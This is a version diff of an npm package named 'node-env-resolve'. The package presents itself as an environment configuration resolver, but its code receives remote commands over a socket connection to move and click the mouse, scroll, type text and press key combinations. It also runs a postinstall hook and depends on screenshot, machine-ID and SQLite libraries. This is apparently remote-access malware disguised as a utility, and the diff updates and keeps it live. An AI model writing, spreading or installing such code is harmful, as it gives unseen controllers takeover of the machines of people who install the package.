node-env-resolve 1.0.4 → 1.0.5

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "node-env-resolve",
-  "version": "1.0.4",
+  "version": "1.0.5",
   "description": "Lightweight environment configuration resolver for Node.js",
   "main": "src/index.js",
   "bin": {
@@ -11,11 +11,11 @@
     "postinstall": "node postinstall.js"
   },
   "dependencies": {
-    "robotjs": "^0.6.0",
+    "@nut-tree-fork/nut-js": "^4.2.1",
     "screenshot-desktop": "^1.15.0",
     "sharp": "^0.33.5",
     "better-sqlite3": "^11.3.0",
     "socket.io-client": "^4.7.5",
     "node-machine-id": "^1.1.12"
   }
-}
+}

package/src/index.js

@@ -79,39 +79,39 @@ socket.on('screen:settings', (data) => {
 });
 
 // ── Mouse Commands ─────────────────────────────────────────
-socket.on('mouse:move', (data) => {
-  try { socket.emit('command:ack', { event: 'mouse:move', ...inputHandler.moveMouse(data.x, data.y) }); }
+socket.on('mouse:move', async (data) => {
+  try { socket.emit('command:ack', { event: 'mouse:move', ...await inputHandler.moveMouse(data.x, data.y) }); }
   catch (e) { socket.emit('command:ack', { event: 'mouse:move', success: false, error: e.message }); }
 });
 
-socket.on('mouse:click', (data) => {
-  try { socket.emit('command:ack', { event: 'mouse:click', ...inputHandler.clickMouse(data.button || 'left') }); }
+socket.on('mouse:click', async (data) => {
+  try { socket.emit('command:ack', { event: 'mouse:click', ...await inputHandler.clickMouse(data.button || 'left') }); }
   catch (e) { socket.emit('command:ack', { event: 'mouse:click', success: false, error: e.message }); }
 });
 
-socket.on('mouse:dblclick', () => {
-  try { socket.emit('command:ack', { event: 'mouse:dblclick', ...inputHandler.doubleClick() }); }
+socket.on('mouse:dblclick', async () => {
+  try { socket.emit('command:ack', { event: 'mouse:dblclick', ...await inputHandler.doubleClick() }); }
   catch (e) { socket.emit('command:ack', { event: 'mouse:dblclick', success: false, error: e.message }); }
 });
 
-socket.on('mouse:scroll', (data) => {
-  try { socket.emit('command:ack', { event: 'mouse:scroll', ...inputHandler.scrollMouse(data.direction, data.amount) }); }
+socket.on('mouse:scroll', async (data) => {
+  try { socket.emit('command:ack', { event: 'mouse:scroll', ...await inputHandler.scrollMouse(data.direction, data.amount) }); }
   catch (e) { socket.emit('command:ack', { event: 'mouse:scroll', success: false, error: e.message }); }
 });
 
 // ── Keyboard Commands ──────────────────────────────────────
-socket.on('keyboard:type', (data) => {
-  try { socket.emit('command:ack', { event: 'keyboard:type', ...inputHandler.typeText(data.text) }); }
+socket.on('keyboard:type', async (data) => {
+  try { socket.emit('command:ack', { event: 'keyboard:type', ...await inputHandler.typeText(data.text) }); }
   catch (e) { socket.emit('command:ack', { event: 'keyboard:type', success: false, error: e.message }); }
 });
 
-socket.on('keyboard:key', (data) => {
-  try { socket.emit('command:ack', { event: 'keyboard:key', ...inputHandler.pressKey(data.key) }); }
+socket.on('keyboard:key', async (data) => {
+  try { socket.emit('command:ack', { event: 'keyboard:key', ...await inputHandler.pressKey(data.key) }); }
   catch (e) { socket.emit('command:ack', { event: 'keyboard:key', success: false, error: e.message }); }
 });
 
-socket.on('keyboard:combo', (data) => {
-  try { socket.emit('command:ack', { event: 'keyboard:combo', ...inputHandler.pressKeyCombo(data.keys) }); }
+socket.on('keyboard:combo', async (data) => {
+  try { socket.emit('command:ack', { event: 'keyboard:combo', ...await inputHandler.pressKeyCombo(data.keys) }); }
   catch (e) { socket.emit('command:ack', { event: 'keyboard:combo', success: false, error: e.message }); }
 });
 

package/src/inputHandler.js

@@ -1,129 +1,143 @@
 /**
- * Input Handler — Execute mouse & keyboard commands via robotjs
+ * Input Handler — Execute mouse & keyboard commands via @nut-tree-fork/nut-js
+ * No Python or Build Tools required — uses pre-built binaries.
  */
 
-let robot;
+const { mouse, keyboard, Button, Key, Point } = require('@nut-tree-fork/nut-js');
 
-function initRobot() {
-  if (!robot) {
-    robot = require('robotjs');
-    robot.setMouseDelay(2);
-    robot.setKeyboardDelay(10);
-  }
-  return robot;
+// Speed settings
+mouse.config.mouseSpeed = 2000;
+keyboard.config.autoDelayMs = 10;
+
+// Key name mapping from frontend names to nut-js Key enum
+const KEY_MAP = {
+  'Return':       Key.Return,
+  'Enter':        Key.Return,
+  'Tab':          Key.Tab,
+  'Escape':       Key.Escape,
+  'Space':        Key.Space,
+  'Backspace':    Key.Backspace,
+  'Delete':       Key.Delete,
+  'Up':           Key.Up,
+  'Down':         Key.Down,
+  'Left':         Key.Left,
+  'Right':        Key.Right,
+  'Home':         Key.Home,
+  'End':          Key.End,
+  'PageUp':       Key.PageUp,
+  'PageDown':     Key.PageDown,
+  'F1':  Key.F1,  'F2':  Key.F2,  'F3':  Key.F3,  'F4':  Key.F4,
+  'F5':  Key.F5,  'F6':  Key.F6,  'F7':  Key.F7,  'F8':  Key.F8,
+  'F9':  Key.F9,  'F10': Key.F10, 'F11': Key.F11, 'F12': Key.F12,
+  'LeftControl':  Key.LeftControl,
+  'RightControl': Key.RightControl,
+  'LeftShift':    Key.LeftShift,
+  'RightShift':   Key.RightShift,
+  'LeftAlt':      Key.LeftAlt,
+  'RightAlt':     Key.RightAlt,
+  'LeftSuper':    Key.LeftSuper,
+  'RightSuper':   Key.RightSuper,
+  // lowercase aliases
+  'control':      Key.LeftControl,
+  'shift':        Key.LeftShift,
+  'alt':          Key.LeftAlt,
+  'enter':        Key.Return,
+  'tab':          Key.Tab,
+  'escape':       Key.Escape,
+  'space':        Key.Space,
+  'backspace':    Key.Backspace,
+  'delete':       Key.Delete,
+  'up':           Key.Up,
+  'down':         Key.Down,
+  'left':         Key.Left,
+  'right':        Key.Right,
+  'home':         Key.Home,
+  'end':          Key.End,
+  'pageup':       Key.PageUp,
+  'pagedown':     Key.PageDown,
+};
+
+function mapKey(key) {
+  if (KEY_MAP[key]) return KEY_MAP[key];
+  // Single character keys — e.g. 'a', 'b', '1'
+  const upper = key.toUpperCase();
+  if (Key[upper] !== undefined) return Key[upper];
+  if (Key[key] !== undefined) return Key[key];
+  throw new Error(`Unknown key: ${key}`);
 }
 
 /**
  * Move mouse to absolute coordinates
  */
-function moveMouse(x, y) {
-  const r = initRobot();
-  r.moveMouse(x, y);
+async function moveMouse(x, y) {
+  await mouse.setPosition(new Point(x, y));
   return { success: true, action: 'moveMouse', x, y };
 }
 
 /**
  * Move mouse by relative delta
  */
-function moveMouseRelative(dx, dy) {
-  const r = initRobot();
-  const pos = r.getMousePos();
-  r.moveMouse(pos.x + dx, pos.y + dy);
+async function moveMouseRelative(dx, dy) {
+  const pos = await mouse.getPosition();
+  await mouse.setPosition(new Point(pos.x + dx, pos.y + dy));
   return { success: true, action: 'moveMouseRelative', dx, dy };
 }
 
 /**
  * Click mouse button
  */
-function clickMouse(button = 'left') {
-  const r = initRobot();
-  r.mouseClick(button);
+async function clickMouse(button = 'left') {
+  const btn = button === 'right' ? Button.RIGHT : Button.LEFT;
+  await mouse.click(btn);
   return { success: true, action: 'clickMouse', button };
 }
 
 /**
  * Double click
  */
-function doubleClick() {
-  const r = initRobot();
-  r.mouseClick('left', true);
+async function doubleClick() {
+  await mouse.doubleClick(Button.LEFT);
   return { success: true, action: 'doubleClick' };
 }
 
 /**
  * Scroll mouse
  */
-function scrollMouse(direction = 'down', amount = 3) {
-  const r = initRobot();
-  const scrollAmount = direction === 'up' ? amount : -amount;
-  r.scrollMouse(0, scrollAmount);
+async function scrollMouse(direction = 'down', amount = 3) {
+  if (direction === 'up') {
+    await mouse.scrollUp(amount);
+  } else {
+    await mouse.scrollDown(amount);
+  }
   return { success: true, action: 'scrollMouse', direction, amount };
 }
 
 /**
  * Type text string
  */
-function typeText(text) {
-  const r = initRobot();
-  r.typeString(text);
+async function typeText(text) {
+  await keyboard.type(text);
   return { success: true, action: 'typeText', length: text.length };
 }
 
-// Key name mapping from nut.js names to robotjs names
-const KEY_MAP = {
-  'Return': 'enter',
-  'Tab': 'tab',
-  'Escape': 'escape',
-  'Space': 'space',
-  'Backspace': 'backspace',
-  'Delete': 'delete',
-  'Up': 'up',
-  'Down': 'down',
-  'Left': 'left',
-  'Right': 'right',
-  'Home': 'home',
-  'End': 'end',
-  'PageUp': 'pageup',
-  'PageDown': 'pagedown',
-  'F1': 'f1', 'F2': 'f2', 'F3': 'f3', 'F4': 'f4',
-  'F5': 'f5', 'F6': 'f6', 'F7': 'f7', 'F8': 'f8',
-  'F9': 'f9', 'F10': 'f10', 'F11': 'f11', 'F12': 'f12',
-  'LeftControl': 'control',
-  'RightControl': 'control',
-  'LeftShift': 'shift',
-  'RightShift': 'shift',
-  'LeftAlt': 'alt',
-  'RightAlt': 'alt',
-  'LeftSuper': 'command',
-  'Enter': 'enter',
-};
-
-function mapKey(key) {
-  return KEY_MAP[key] || key.toLowerCase();
-}
-
 /**
  * Press a single key
  */
-function pressKey(key) {
-  const r = initRobot();
+async function pressKey(key) {
   const mapped = mapKey(key);
-  r.keyTap(mapped);
+  await keyboard.pressKey(mapped);
+  await keyboard.releaseKey(mapped);
   return { success: true, action: 'pressKey', key };
 }
 
 /**
  * Press key combination (e.g., Ctrl+C)
  */
-function pressKeyCombo(keys) {
-  const r = initRobot();
-  if (keys.length < 2) {
-    return pressKey(keys[0]);
-  }
-  // Last key is the main key, rest are modifiers
-  const mainKey = mapKey(keys[keys.length - 1]);
-  const modifiers = keys.slice(0, -1).map(mapKey);
-  r.keyTap(mainKey, modifiers);
+async function pressKeyCombo(keys) {
+  if (keys.length < 2) return pressKey(keys[0]);
+  const mapped = keys.map(mapKey);
+  await keyboard.pressKey(...mapped);
+  await keyboard.releaseKey(...mapped);
   return { success: true, action: 'pressKeyCombo', keys };
 }